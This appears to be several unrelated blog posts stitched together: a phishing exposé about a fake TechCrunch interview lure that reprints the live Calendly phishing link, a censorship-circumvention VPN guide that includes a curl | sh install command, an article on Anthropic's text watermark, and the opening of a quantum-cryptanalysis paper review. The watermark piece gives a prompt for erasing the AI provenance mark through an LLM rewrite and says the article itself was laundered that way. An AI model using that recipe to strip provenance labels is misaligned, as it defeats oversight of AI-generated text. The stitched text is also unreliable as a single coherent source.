The Account

The bio reads: “Covering AI, startups, markets, and emerging technologies for @TechCrunch | prev @mashable”. Verified badge, account since August 2014, more than 45,000 posts, 1,409 followers. By the numbers, it looks like an old, active account, not a profile created yesterday.

The Conversation

Here’s the full exchange, nothing cut:

And here’s the link, exactly as it came, for anyone who wants to recognize it if they got the same one:

Confirmed phishing link. Don’t click it. If you already did, don’t authorize anything. https://calendly.com/d/d336-3mq-q2z

I Already Knew It Was a Scam

I recognized the pattern instantly because José Valim, Elixir’s creator, fell for this exact lure in March this year and documented the whole thing publicly.

Same pretext, TechCrunch asking for an interview on a technical topic the victim knows well. Same mechanism, a Calendly link that ends in an X authorization. His account ended up being used to spread crypto spam before he revoked access.

When the message landed for me today, I almost cheered. I knew right away it would make good blog material. So I kept the conversation going politely, just enough to screenshot everything, and now I’m exposing the account publicly. Always expose whoever tries to scam you. This isn’t about humiliating anyone, it’s about leaving a public trail for the next person who gets the same message and goes looking for it on Google.

Even Without Knowing About Valim’s Case, I Could Tell

A cold contact asking for a meeting out of nowhere, with no prior introduction, is a scam 99% of the time. No real professional operates that way, and even less so over a social media DM. Doing that makes you a door-to-door salesman with Wi-Fi.

A big-name outlet in the pretext changes nothing for me. I consider myself better than TechCrunch or washed-up Mashable, and not even someone claiming to speak for the White House would impress me. Sorry, not sorry about that.

And even if there were a normal person behind it: my time isn’t free. Want real consulting? Talk to my company, set up a commercial meeting on the company’s Calendly, sign a contract, pay the fee, and only then do I talk to you. There’s no “let’s just hop on a quick call” shortcut with a stranger.

The moment I clicked the link, it redirected straight to the X authorization screen, obviously I refused. I clicked on purpose just to grab the screenshot.

The Technical Mechanism

A reader pointed out that the address bar in the original screenshot showed an oauth_token in the URL, and asked whether that was unsafe to publish. Fair question, and I edited the screenshot to remove that part anyway. But the actual risk there was zero: that’s an OAuth 1.0a request token, not an access token. It only turns into a real credential after authorization is approved and the app exchanges that token for a verifier alongside its own secret key, neither of which happened, since I clicked cancel. An unused request token also expires on its own within minutes, by X’s own design. Even with zero risk, it costs nothing to crop it out, and it’s a good general rule: never publish anything that looks like a token, even one you’re sure is already dead.

The first step is real: calendly.com/d/d336-3mq-q2z runs on genuine Calendly infrastructure, I confirmed that by hitting the link directly and checking the cookies and response headers, all authentic. It’s a standard routing form for the product, name and meeting type.

The scam lives in what happens after you submit the form. Calendly has a legitimate feature to “redirect after booking,” and that’s exactly the feature that got configured to send the victim to an X OAuth authorization screen. That screen is real too, it runs on api.x.com, X’s genuine domain. The scam doesn’t fake the login screen. It abuses a genuine Calendly feature to chain into a genuine X screen, authorizing a malicious third-party app.

And here’s the part I want to underline: this isn’t some exotic bug hidden in an obscure corner. It’s a pseudo-feature turned on by default, a free redirect to any URL after booking, with zero destination checking. Until Calendly disables or at least restricts that redirect, it stays a ready-to-use phishing vector, and closing that door is Calendly’s job, not the job of the user who just wanted to book a meeting.

That app is called “Events Portal,” claims to be www.eventsportal.com, and X itself shows a warning: “This app isn’t affiliated with X and is requesting sensitive permissions,” with the callback pointing to plugins.cal-apis.com, not to any real Calendly domain. The permissions requested amount to a full account takeover:

• see protected posts, lists, and collections;
• see account and profile settings;
• see who you follow, mute, and block;
• follow and unfollow on your behalf;
• update your profile and settings;
• create and delete posts, like, repost, and reply on your behalf;
• create, manage, and delete lists;
• mute, block, and report accounts on your behalf.

With that authorized, the account becomes a weapon to attack the next person, exactly what happened to José Valim.

What I Confirmed Myself

A real Calendly doesn’t ask for a social media login to schedule a meeting, full stop. What the screen showed is the legitimate “redirect after booking” feature hijacked to become a phishing vector against an X account. I didn’t stop at the first impression, I went and confirmed every piece myself:

• the domain cal-apis.com was registered only six days earlier, on September 16, 2026, through a Chinese reseller tied to Alibaba Cloud, hidden behind Cloudflare nameservers. A disposable domain, built specifically for this, not real infrastructure from any actual company;
• security researchers (Push Security and Validin) have documented Calendly-themed phishing campaigns used to steal Google Workspace and Facebook Business accounts, same family of scam, different target than mine;
• specifically against X accounts, what’s documented is firsthand reporting: José Valim himself, and a public report from February 2025 describing an almost identical scam, a fake Calendly link leading to an X login, that nearly caught two other well-known people in the tech community;
• I found no record of “Mia Esswein” as an actual TechCrunch or Mashable journalist in any search. That’s not definitive proof of anything on its own, but it adds to the rest of the pile of evidence.

The Checklist I Use

• a cold contact asking for a meeting, with no introduction, is a scam until proven otherwise;
• a real scheduling tool never asks for a social media login to book a slot;
• a third-party app requesting “sensitive permissions” and warning that it’s “not affiliated” with the platform is a red flag, not an ignorable technical detail;
• if you already authorized something like this, revoke it now: on X, Settings → Security and account access → Apps and sessions;
• report the account that sent the link, and report the Calendly event if you still have the conversation.

To Whoever Tried

You picked the wrong person to try this on. I don’t talk to strangers for free, on principle, and I definitely don’t authorize unknown apps on an account I use for work. I recognize the pattern from a mile away because I read about this stuff, and on top of that I got a free article out of it for the blog. Next time, invest less in a domain registered in a rush and more in a disguise that survives someone actually paying attention.

This article is the answer: a practical guide, from easiest to hardest, to keep your communication channels standing as the siege tightens. Because the siege is tightening, and you should understand its pace before picking your tools.

The track record: none of this is new

Anyone surprised by the Discord case was not paying attention. The Brazilian judiciary has been blocking communication services for over a decade, always steamrolling millions of innocent users to reach half a dozen suspects:

• WhatsApp, 2015 and 2016: blocked three times by lower-court judges, always because the company would not hand over conversations that, by design, it cannot read.
• Telegram, 2022 and 2023: suspended for two days by order of Justice Alexandre de Moraes in March 2022, and again by a federal judge in 2023. Migalhas has the full timeline.
• X/Twitter, 2024: the landmark. Nationwide suspension from August 30 to October 8, 40 days, by a single justice’s order. And here is the detail that matters for this guide: the decision included a fine of R$ 50,000 (~US$ 10,000) per day for any individual who accessed X through a VPN, an order for app stores to remove VPN apps (walked back hours later), and the Federal Police and Anatel (the telecom regulator) producing reports on who bypassed the block to support the fines.

Notice what happened there: for the first time, using a neutral privacy tool became, by itself, punishable conduct in Brazil. Nobody was fined in the end, but the infrastructure to fine people was built, tested and documented. And in 2026 Congress voted and the president signed a sentence enhancement for crimes committed with a VPN. The X precedent stopped being an exception and became repertoire.

Keep this: in the X case, the Brazilian state already treated VPN users as offenders, already tried to pull VPNs from app stores, and already requested reports on who bypassed the block. All of it documented, in court orders and public reports.

The endgame: the Chinese model

I have little doubt that very well-positioned people in government look at China’s Great Firewall with envy, not horror. And it is worth understanding what it is, because it defines the limit of the game.

The Firewall goes far beyond blocking websites. It is deep packet inspection (DPI) at national scale, running on the country’s internet backbone: all traffic is classified in real time, known VPN protocols are identified by their handshake shape and dropped, Tor is blocked by default, and only state-approved VPNs (meaning, with a backdoor) operate legally. Ordinary citizens caught using unauthorized VPNs get fined. And even when the traffic cannot be read, the metadata gives the game away: who talks to whom, when, for how long.

That is why the honest answer to “can you bypass a Firewall like that without being noticed?” is: no, not for an ordinary citizen. Against a state-level firewall of that caliber, no consumer tool makes you invisible. At best it makes you too expensive to be worth persecuting at scale. Anyone selling you total invisibility is lying.

The good news is that Brazil is nowhere near that point. Censorship rarely arrives all at once: it comes in steps, and each step has a matching defense. The rest of this guide is that staircase, step by step. The logic behind everything that follows is a single one: censorship is a matter of cost. Our job is to make blocking expensive, technically and politically, until mass deployment becomes impractical.

Keep this: against a complete state firewall, no tool makes you invisible, only too expensive to persecute at scale. The game is climbing your staircase before the censor climbs his.

Phase 1: Commercial VPN, the minimum everyone should have

Start with the obvious. A VPN (virtual private network) creates an encrypted tunnel between your device and a provider’s server. Your ISP (internet service provider) now sees only a scrambled flow going to a single address; the sites you visit see the VPN’s IP, not yours. I explain it in depth, with the networking theory underneath, in Akitando 126 (in Portuguese).

What a VPN does: hides your traffic from your ISP, swaps your exit IP, gets you out of geo-blocks and of court-ordered DNS/IP blocks. What it does not do:

• It does not make you anonymous. The VPN provider sees all your traffic in place of your ISP. You did not eliminate the watcher, you just picked a different watcher.
• It does not hide your identity if you paid by credit card. A credit card subscription ties the VPN account to your tax ID. If authorities show up at the provider with a court order, your name is there.
• It does not protect content past the tunnel. From the VPN exit to the final website, the web’s normal encryption (HTTPS) applies. The VPN is one leg of the path, not the whole path.

That said, for the early phases of the siege it does the job. My recommendations, in order:

• ProtonVPN: Switzerland, outside easy jurisdiction, open source and audited, a no-logs policy tested in court, a decent free tier, and it accepts payment even in cash by mail.
• Mullvad: Sweden, the most paranoid on the market: it does not even ask for an email, your account is a random number. Flat €5/month, accepts cash in an envelope and cryptocurrency. It is the closest thing to an “identity-less VPN” that exists as a commercial product.
• NordVPN and the like work technically, but their money goes more to marketing than to privacy posture. Among the big ones, I stick with the two above.

The limit of this phase is well known: the exit IPs of famous VPNs are public and catalogued. An order from ANPD or Anatel to national ISPs to block those ranges is technically trivial, and the X case showed that pulling the app from the store is also on the menu. When (not if) that happens, the commercial VPN dies in a day. That is why Phase 2 exists.

Keep this: a commercial VPN is a seatbelt: use it always, but know it depends on three things outside your control. The app staying in the store, the IPs staying unblocked, and the provider staying honest.

Phase 2: Self-hosted VPN, your own tunnel

The move here changes shape: instead of subscribing to a service with millions of users and catalogued IPs, you rent a cheap little server outside Brazil and build your personal VPN. There is no public list with your IP for the censors to download. You are one user on an unknown IP, indistinguishable from any other traffic until someone looks closely.

Picking the provider (and why not AWS, Azure or Google Cloud). The big clouds have huge, public, well-mapped IP ranges (ASNs). Blocking them wholesale is one line in a routing table; the only brake is collateral damage (plenty of legitimate Brazilian businesses live there), and other countries have paid that price in crises. Smaller providers dilute that target. Options I would consider, from mid-sized to small:

A US$ 3 to 5 machine with 1 GB of RAM is plenty for a personal VPN. Important caveat: paying for a VPS (virtual private server) with a credit card leaves a trail just like the commercial VPN: your name is in the provider’s records, and the provider can be legally compelled. Some accept cryptocurrency, which reduces (does not eliminate) the trail. For most people, at this phase, the signup risk is acceptable: you are not hiding from a named investigation, you are getting out of the aim of a mass block.

Step by step: WireGuard with wg-easy

I will use wg-easy, which packages WireGuard (the modern, fast, auditable VPN protocol) into a Docker container with a web panel and QR codes to set up your phone in seconds.

1. Rent the VPS. Ubuntu 24.04, the smallest machine available, in a region outside Brazil (Amsterdam, Frankfurt and Helsinki are classic choices for jurisdiction and acceptable latency).

2. Log in and update:

ssh root@YOUR_IP
apt update && apt upgrade -y

3. Install Docker:

curl -fsSL https://get.docker.com | sh

4. Generate the panel password hash (wg-easy does not accept a plaintext password; write down the password you choose):

docker run --rm -it ghcr.io/wg-easy/wg-easy wgpw 'YourStrongPasswordHere'
# the output looks like: PASSWORD_HASH=$2b$12$abc...
# in the command below, double every dollar sign: $ becomes $$

5. Start the container:

docker run -d \
  --name=wg-easy \
  -e WG_HOST=YOUR_IP \
  -e PASSWORD_HASH='$$2b$$12$$abc...' \
  -v ~/.wg-easy:/etc/wireguard \
  -p 51820:51820/udp \
  -p 51821:51821/tcp \
  --cap-add=NET_ADMIN \
  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
  --sysctl="net.ipv4.ip_forward=1" \
  --restart unless-stopped \
  ghcr.io/wg-easy/wg-easy

6. Open the firewall. Port 51820/UDP is the tunnel itself. Port 51821/TCP is the panel: do not leave the panel exposed to the internet. The right way is to open it only through an SSH tunnel (ssh -L 51821:localhost:51821 root@YOUR_IP and browse to localhost:51821), or to open 51821 just long enough to create your clients and close it right after.

7. Create the clients. In the panel, one click generates a client with a QR code. Point the official WireGuard app (Android/iOS) camera at it and you are done. On a laptop, download the config file and import it into the WireGuard client.

Done: all of your device’s traffic exits through your European server. Your Brazilian ISP sees only a scrambled flow to some random IP in Germany.

And on your machine, how do you use it?

The server is half the story. On your device, the ritual goes like this:

On your phone (Android/iOS): install the official WireGuard app from the store (or from F-Droid on Android). Tap the "+", choose “Scan from QR code” and point it at the code the wg-easy panel showed. A new “tunnel” appears in the list: one tap on the switch and you are in. On iOS, enable “On-Demand” in the tunnel settings so it reconnects by itself when you switch networks (Wi-Fi to 4G, for instance).

On your laptop (Windows/macOS): download the official WireGuard client for your system, click “Import tunnel(s) from file” and select the .conf you downloaded from the panel. One click on “Activate” and done. Important detail: the official client has a “Block untunneled traffic” option (the kill switch): turn it on. If the tunnel drops, your internet stops instead of leaking through your real IP.

On Linux: copy the .conf to /etc/wireguard/wg0.conf and bring it up with sudo wg-quick up wg0 (plus sudo systemctl enable wg-quick@wg0 to start it at boot). Or import the file straight into NetworkManager through the graphical interface, if you prefer clicking to typing.

A complete client .conf, for reference, looks like this:

[Interface]
PrivateKey = <THIS device's private key>
Address = 10.10.0.2/32
DNS = 1.1.1.1

[Peer]
PublicKey = <server public key>
Endpoint = SERVER_IP:51820
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 25

Two details worth their weight in gold here. PersistentKeepalive = 25 keeps the tunnel alive when you are behind NAT (home network, 4G), preventing the connection from silently dying. And AllowedIPs = 0.0.0.0/0 is what pushes all traffic into the tunnel; without it, only traffic to the VPN’s own IPs goes out encrypted. (The DNS = line works fine on Windows, macOS and phones; on Linux with systemd-resolved it can get in the way, as I explain in the common mistakes below.)

Checking that it worked: with the tunnel active, run curl ifconfig.me in a terminal (or open ipleak.net in the browser). It must show your VPS IP, not your home one. If your network has IPv6, check separately with curl -4 ifconfig.me and curl -6 ifconfig.me: both must show the server. And visit dnsleaktest.com: DNS must exit through the tunnel too. If your ISP’s DNS server shows up, there is a leak to fix.

Minimum maintenance: enable unattended-upgrades so the system patches itself, use SSH keys instead of passwords, and install nothing else on that machine. Small surface, small risk.

The 2026 way to do this: let the AI configure it

If you got stuck on some step, remember it is 2026: you no longer need to master every command in this guide. I went down that path myself. I rented the VPS, handed the SSH access to the AI agent and asked for the full setup; on the other side, on my own machine, it imported the .conf, brought up wg-quick, enabled it at boot and checked for leaks at the end. Today my server is a reproducible Ansible playbook (kill the VPS, spin up another, run one command) and my laptop’s config follows the same pattern. All in private repositories, private on purpose: VPN configuration is not the sort of thing I want strangers peeking at.

Mine, running on my own Gitea: private, versioned, and the whole server comes back up with one command.

And if you are going to ask an AI to configure it, skip the generic “install me a VPN” and hand over the real requirements. Something like this:

Turn this fresh Ubuntu 24.04 VPS into a robust WireGuard server,
preferably through an idempotent Ansible playbook (I want to be able to
destroy the VPS and recreate everything by running one command).
Requirements:

- WireGuard managed by wg-quick@wg0, server key generated on the server
  itself (mode 0600), no exposed web panel
- Dual-stack tunnel: IPv4 and IPv6 (fd00::/64 ULA subnet with NAT66), so
  no traffic leaks outside on networks with native IPv6
- ufw denying everything except SSH and the WireGuard UDP port
- key-only sshd (no passwords), fail2ban on sshd, unattended-upgrades
  with no automatic reboot
- Peers declared as data in a config file: adding a client = adding one
  entry and running the playbook again
- Generate client .conf files with PersistentKeepalive=25, full-tunnel
  AllowedIPs and QR codes via qrencode
- At the end, print the verification commands (curl -4/-6 ifconfig.me,
  wg show)

Finally, hand me a short operations README: how to add a client, how to
update, when to reboot.

The difference between a “working” server and a solid one lives entirely in those requirements: dual-stack, closed firewall, passwordless sshd, peers as data, reproducibility. The technical barrier of this entire article has, in practice, become a conversation.

Common mistakes (and how to avoid them)

I keep seeing the same stumbles whenever someone sets up their first self-hosted VPN. All avoidable:

• Exposing the wg-easy panel to the internet. The number one classic mistake. The panel is the key to the vault: open on port 51821, any botnet scan finds it within hours. SSH tunnel always, open port never.
• Weak or recycled passwords on the panel and SSH. An entire VPN protected by changeme123 is worse than no VPN. And disable SSH password login for good (PasswordAuthentication no in sshd_config) once your key is set up.
• Thinking you are anonymous because the IP is “yours”. The VPS is in your name, paid with your card. It protects you from mass blocking, not from an investigation with your name on it. The wrong level of paranoia creates a false sense of security, which is worse than none.
• A VPS in Brazil or from a Brazilian company. I have seen people build a “privacy VPN” on a national provider. If the court order arrives in the same country, you did not leave the reach, you just changed shelves. Server abroad, jurisdiction abroad.
• Handing out access to half the world. Each extra person is one more device, one more usage pattern, one more mouth. Close family, fine; a 40-contact group, no. The more people on the same IP, the faster it lands on some list.
• Using the same machine for other things. Personal blog, Telegram bot, seedbox: all of that grows the attack surface and ties together identities you wanted separate. The VPN VPS is for the VPN only.
• Trusting without testing for leaks. After setting up, test: ipleak.net or dnsleaktest.com with the VPN on. If your real IP or your ISP’s DNS shows up, something is wrong, and this is the only way you find out.
• Forgetting IPv6. This one got even me: an IPv4-only tunnel on a network with native IPv6, and all the v6 traffic goes around the VPN, in the clear, without you noticing. Either the tunnel is dual-stack, or half of your traffic leaks. Test with curl -6 ifconfig.me.
• The DNS = line breaking the Linux client. On systemd-resolved systems (Ubuntu, Fedora and the like), wg-quick calls openresolv to write the DNS, openresolv refuses to touch the /etc/resolv.conf owned by systemd-resolved (“signature mismatch” error) and the whole interface fails to come up. If your system DNS already works fine, just remove the line: queries ride the tunnel anyway.
• Losing the printer, the NAS and the local network. With AllowedIPs = 0.0.0.0/0, even traffic inside your own home tries to go through the tunnel. The fix is a policy routing rule evaluated before WireGuard’s own rules: PostUp = ip rule add to 192.168.0.0/16 lookup main priority 1000 (plus the matching PostDown to undo it on shutdown).
• Chaining wg-quick down && up. down returns an error when the interface is already down, and with && the up never runs. Run up on its own.
• Installing and abandoning. A server without updates for a year is a server with known vulnerabilities. And test the connection from time to time: what works today can be fingerprinted tomorrow.
• No backup of the configuration. The ~/.wg-easy directory holds everything (keys, clients). Keep an encrypted local copy. If the VPS dies or gets shut down by the provider, you bring another one up in ten minutes instead of starting from zero.

Keep this: a US$ 5 VPS outside Brazil running WireGuard gets you out of any mass block based on catalogued IPs. The price is your signup record at the provider: acceptable against blocking, insufficient against a named investigation.

The invisible enemy: DPI

So far I have assumed the censor blocks addresses. Their next level is blocking formats, and that is where deep packet inspection (DPI) lives.

Even encrypted, a VPN tunnel has a signature. The initial handshake of WireGuard and OpenVPN has characteristic packet sizes, sequences and timings. The content is unreadable, but the shape screams “I am a VPN”. China does exactly this at national scale: it does not need to read your traffic, it only needs to recognize the protocol and drop the connection.

Keep this: the censor does not need to read your traffic to block you. Recognizing the tunnel’s shape is enough. That is why obfuscation exists.

The technical answer is obfuscation: making the tunnel look like something else.

• AmneziaWG: a WireGuard fork that injects junk packets and scrambles headers until the signature vanishes. Same audited WireGuard base, free apps for every platform, and it points at the same kind of VPS from Phase 2. If you set up wg-easy, migrating to Amnezia is the natural step when DPI arrives.
• udp2raw: wraps WireGuard’s UDP traffic inside fake TCP packets that look like an ordinary connection.
• Shadowsocks: born in China precisely for this, an encrypted proxy designed to have no recognizable signature.

Notice we are still talking about free tools and a US$ 5 VPS. The cost rises for the censor much faster than for you.

Phase 3: when even your VPS is not enough

If the scenario degrades to national DPI with protocol blocking, the game becomes heavy camouflage and redundancy. The real options, in order of effort:

Protocols that disguise themselves as ordinary HTTPS. The current state of the art is VLESS with Reality (from the Xray-core project): your traffic presents itself as a legitimate TLS 1.3 connection to a real, innocent website, with certificate, handshake and packet pattern indistinguishable from a normal visit. To block you, the censor would have to block the innocent site too, and the collateral damage is the defense. Trojan-Go follows a similar philosophy. Outline, from Jigsaw (Google), packages Shadowsocks with a friendly manager if you want to hand out access to family and friends.

Tor with bridges. Plain Tor is blocked by default in censoring countries, but obfs4 bridges and Snowflake were tailor-made for that scenario: Snowflake disguises your entry into the Tor network as an ordinary WebRTC video call. It is slow, forget streaming, but it is the hardest network to extinguish in existence, maintained precisely for journalists and activists in hostile countries.

Redundancy and rotation. Two or three cheap VPSs at different providers, with automatic failover. If one lands on a blacklist, you switch in minutes: new instance, new IP. Your cost: another US$ 5. The censor’s cost: find and block it again, every time.

Alternative access. Starlink and other satellite links leave the national ground infrastructure entirely. As long as they are not regulated as well, they are the physical last resort. And for extreme cases, the usual sneakernet: thumb drive, external disk, physical copies.

Client-side hygiene, valid in every phase:

• Kill switch on: if the tunnel drops, the device cuts the internet instead of leaking through your real IP.
• DNS leak protection: your DNS queries must go through the tunnel, otherwise your ISP keeps seeing every site you visit.
• WebRTC disabled in the browser (or use an extension): it leaks your real IP even with the VPN on.
• VPN on when needed, not always: a 24/7 usage pattern becomes a behavioral signature of its own.

And the usual honest notes: running your own server for personal use is legal; using it to commit crimes is not. And since 2026, with the new sentence enhancement, “using a VPN” weighs on the sentence of any crime you would commit anyway. Keep the surface small, test your connectivity from inside Brazil regularly (what works today can be fingerprinted tomorrow), have a plan B (a second VPS, a Tor profile with bridges) and keep offline copies of everything critical.

Realistic assessment: no solution is permanent against a determined, well-funded censor. The goal here is different: make mass blocking expensive until it becomes a bad deal, technically and politically. A country that needs to take down half of the legitimate internet to silence half a dozen voices has a public relations problem, not a technology one. That cost is where we place our bet.

Keep this: the staircase is commercial VPN, then your own VPN, then obfuscated protocol, then Tor with bridges, then satellite. Each step raises your cost a little and the censor’s a lot. Start climbing before you need to.

Conclusion

The Brazilian pattern is what I called censorship by accumulation: no single step looks like the end of the world, and each comes with its little plaque of good intentions. But blocking infrastructure, once built, has no moral owner: it serves today’s government and tomorrow’s, against today’s target and against you.

Free communication infrastructure works exactly the same: also built by accumulation, also brick by brick. A commercial VPN configured today. Your own VPS tomorrow. An obfuscated protocol in the drawer for when it is needed. None of this is paranoia. It works like backups: you do not wait for the disk to fail before starting.

And if you want to follow this frontier closely, a personal recommendation: follow Ayub. He is the best source on internet infrastructure and state censorship in Brazil today. He was the one who sounded the alarm about the VPN criminalization in bill PL 3066/2025 months before it became law. And in recent days he has been covering two things the mainstream press barely touched: the handover of over R$ 100 billion in public networks, ducts and federal properties to the carriers and BTG Pactual, and the technical apparatus of the new Marco Civil regulation, which according to him gave Anatel remote access to ISPs’ edge routers. He posts in Portuguese, but your browser’s translator handles it. Required reading to understand where the next step of the staircase comes from.

The best time to build your tunnel was before you needed it. The second best time is now.

No off switch. The backlash came fast: a wave of subscription cancellations, with cancellation screenshots making the rounds on X.

Before you cancel on reflex, it’s worth knowing what the mark actually is. It works quite differently from what most people picture, it exists for a concrete reason, and it vanishes with an almost comic ease.

For those in a hurry, the essentials:

• A statistical bias in the words Claude picks. Invisible to the reader, detectable only by whoever holds Anthropic’s key. Hidden characters and strange fonts stay out.
• The origin is European law, the AI Act. Anthropic signed the EU transparency code and chose to stamp the whole world; the why comes below.
• One pass through another LLM erases the stamp. The signal lives in Claude’s word choices; when another model rewrites the text, even a weak local one, the choices become its own and the pattern dissolves. Anthropic itself admits this.

Each point in detail below.

What this watermark actually is

Strike the invisible Unicode character, the hidden space mid-line, the altered font. Anthropic’s watermark is statistical: it acts at the moment Claude decides which word to use, precisely at the points where several words would serve equally well.

Every language model assembles text one word at a time, pulling the next from a list of likely candidates. When two or three work equally well, a random number settles it. The watermark changes where that randomness comes from: the number now derives from a secret key combined with the preceding words. The method is inherited from SynthID-Text at Google DeepMind.

A concrete example. Talking about the weather, “the sky was overcast” and “the sky was grey” carry the same information. At these synonym junctions, the key leans Claude one way more often than pure chance would. Each individual choice goes unnoticed, but a long text repeats this decision point hundreds of times, and the whole ends up forming a statistical signature.

Anthropic’s announcement is blunt: the text gains nothing, and no character stays hidden. The cost stays the same because no extra tokens are generated, and the reading is identical. Whoever holds the key runs a detector, compares the sequence of words against Claude’s typical choices, and gets back a probability that the text came from Claude.

And what the mark proves boils down to this: Claude was involved at some point. It doesn’t distinguish text the model wrote from scratch from text it merely edited heavily. About you, nothing gets recorded: no user, no company, no identified conversation.

The stamp covers text in Claude.ai, the API, Claude Code, and the other products. In code it shows up less, since code rarely lets you swap one term for an equivalent. Files and images take a different route, a signed piece of metadata called C2PA, instead of this text watermark. And the limitation matters: on short or highly factual passages, where almost no word choice exists, the detector weakens.

Why so many people canceled

The spark added up three ingredients: mandatory, global reach, and no opt-out. The mark can’t be switched off and applies outside Europe too. A wave of Claude Max subscribers canceled citing control and authorship of their own material.

The fear is concrete, professional and academic. Drafting with Claude and signing the result as your own becomes a liability if, down the road, a detector points at “went through AI”. Anthropic answered with a post insisting the mark preserves reading, meaning, and quality, only signaling processing. Not everyone bought it.

The European law behind the stamp

The stamp was born of a concrete obligation. Article 50 of the AI Act requires providers of generative AI systems to mark output in machine-readable form, so artificial content can be identified as such. The obligation took effect on August 2, 2026, and violating it costs real money: fines up to €15 million or 3% of annual global revenue.

Back in July 2026, Anthropic had signed the European Commission’s Code of Practice on Transparency for AI-Generated Content, alongside other major model providers, in a group of roughly 190 signatories. The others will implement their own watermarks too, each with its own key and its own method.

That left Anthropic with a decision: restrict marking to Europe or extend it to the whole planet. The company says it still has no durable way to scope the mark by region, so it chose to stamp everything, everywhere, from day one. Hence the stamp showing up in the text of Brazilian and Japanese subscribers, who have nothing to do with European law.

Can you remove it by passing the text through another LLM?

That’s the question I get most. Short answer: yes, and it’s easy. The signal lives in Claude’s word choices; when another model rewrites the text, the choices become that model’s, and the statistical pattern comes apart.

Anthropic itself admits it. Light retouching probably leaves pieces of the mark, but a complete rewrite, with every word swapped, kills the signal. The logic is simple: the detector measures which synonyms Claude preferred; if another model picked its own synonyms, there’s nothing of Claude left to measure.

Academia confirms the direction. Robustness tests of SynthID, done at Queen’s University, start from perfect detection with no attack and show the rate dropping to around 84% after a dedicated paraphraser, and below 70% with round-trip translation. The more aggressive the rewrite, the more the signal degrades.

And yes, your intuition is right: a modest model, even a local one, does the job. Rearranging text while preserving the meaning is a task that calls for zero deep reasoning. A GLM, a Kimi, a small Llama running on your machine rewrites the paragraph and wipes the signature along the way. Swapping “overcast” for “grey” a thousand times is nowhere near needing the smartest model on the market.

Two honest caveats. The rewrite has to be genuine, word by word; a spell-checker pass doesn’t come close to counting. And all of this applies to the text watermark: files and images carry that C2PA metadata, which comes off by another method, stripping the file’s metadata.

What prompt would pull this off

Add up the watermark’s criteria and the removal prompt practically writes itself. The mark inhabits synonym and structure choices, survives light editing, and needs text of some length. So the prompt has to demand maximum vocabulary and structure swap while holding the meaning in place.

Rewrite the text below in full, in your own words.
Replace the vocabulary and restructure the sentences from start to finish:
pick different synonyms, change the order of the clauses, vary the construction.
Keep the exact meaning, the facts, and the tone.
Avoid reproducing any literal expression from the original.
Return only the rewritten text.

Text:
"""
<paste the Claude text here>
"""

Each line targets one criterion. “In your own words” and “replace the vocabulary” dismantle the synonym junctions where the mark hides. “Restructure the sentences” and “change the order of the clauses” break the word sequence the detector compares. “Avoid reproducing any literal expression” seals the gaps a light edit would leave open.

No magic here, and that’s by design. Anthropic knows the limit and says it plainly: the mark is soft, attests that Claude touched the text, and disappears in the face of a serious rewrite. It works as a provenance label in a world where most people will never bother to erase it; against whoever decides to erase it, the signal is weak.

Where this leaves us

In my accounting, the watermark scares less and does less than both sides of the shouting advertise. It’s invisible, carries zero data about you, and proves at most that Claude passed through the text. A rewrite in any model dissolves it. It’s a deliberately weak provenance label, designed to satisfy European law.

Still, canceling over it follows a logic I understand. Compulsory, planetary marking with no exit door irritates the people paying for the tool. And of the roughly 190 signatories to the European Code, Claude was the first to hit the headlines, absorbing the revolt wave all alone.

If you just want to use Claude and get on with your life, the day-to-day difference is barely there. If you need your text not to scream “AI”, a paragraph rewritten in a local model fixes it, and the recipe comes straight from Anthropic itself. The noise ended up much bigger than the hole.

How this text was made

Transparency suits the subject. The first draft of this article was written by Claude. Then Kimi ran the fact-check, claim by claim, against the original sources, and caught an invented statistic along the way, which we corrected. Finally, GLM rewrote the entire text, word by word, following the recipe from the sections above.

In other words: the article applies to itself what it teaches. It left Claude, passed through Kimi’s sieve, and came back with GLM’s vocabulary and construction. If the original draft carried the watermark, the complete rewrite swapped the word choices, and with them the signal. With no public detector, nobody can check from the outside; the recipe, anyone can test.

The document is called Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities, and the author list alone forces you to take it seriously: it’s Google Quantum AI (with Craig Gidney, the same guy behind the recent RSA-breaking estimates), plus the Ethereum Foundation (Justin Drake) and Stanford (Dan Boneh, one of the fathers of elliptic-curve cryptography). This is people who build quantum computers sitting at the same table as people who invented a good chunk of the cryptography running today. Rare weight for a subject that usually attracts a lot of hot takes from folks who never read a line of what they’re trashing.

First things first: read the paper directly. It’s long and dense, but written with rare care, including an explicit effort not to turn into FUD.

What I’m doing here is my own read, then comparing it with what GLM, Kimi, and ChatGPT made of it when I asked them to tear the text apart, and finally trying to answer the question that matters to anyone holding a handful of satoshis or ether: in the real world, what are the odds a quantum computer steals your money in the next few years?

I’ll tip the spirit of it upfront: the sky isn’t falling. But the “start moving now” message has real grounding, and the reason is subtler than “quantum is coming.”

The short version, for the impatient:

• The paper is serious and the math holds. Google, the Ethereum Foundation, and Stanford show that breaking secp256k1 dropped to under 500,000 physical qubits and about 9 minutes, in a conditional scenario already confirmed by open, independent reproduction.
• This measures the machine’s size; the date stays open. Today’s best hardware works with about 12 logical qubits, and the attack asks for more than 1,200. On IBM’s roadmap, hardware of the right size shows up around 2033.
• Bitcoin isn’t ending. The risk hits whoever has an exposed public key, a subset of addresses (around 6.9 million BTC, much of it already lost). A modern no-reuse wallet stays safe at rest, and mining is at no risk at all.
• What you can do. As a user, key hygiene: a fresh address per use, no reuse (a stronger password doesn’t help against quantum). As an industry, start the post-quantum migration now, in layers, without throwing everything out.

Below, each of these points in full: what the paper says, where I agree and disagree with the other models, the real odds with timelines, and what to do in practice.

What the paper actually says, in plain engineer terms

Let me get the jargon out of the way first. The security of Bitcoin, Ethereum, and almost all crypto rests on a math problem: given a public key, computing the matching private key is infeasible. Everyone sees your public key; nobody can walk back from it to your private key. That one-way street is what makes a digital signature worth anything.

Shor’s algorithm, running on a big enough quantum computer, breaks exactly that one-way street. It turns “infeasible” into “a matter of minutes.” That’s been known since 1994. The paper’s news is something else, and it’s five points.

First: the cost collapsed. The Google team presents new circuits for solving the secp256k1 curve (the curve behind Bitcoin and Ethereum accounts) using far fewer resources than anyone thought. Two recipes: one with under 1,200 logical qubits and 90 million Toffoli gates, another with under 1,450 logical qubits and 70 million gates.

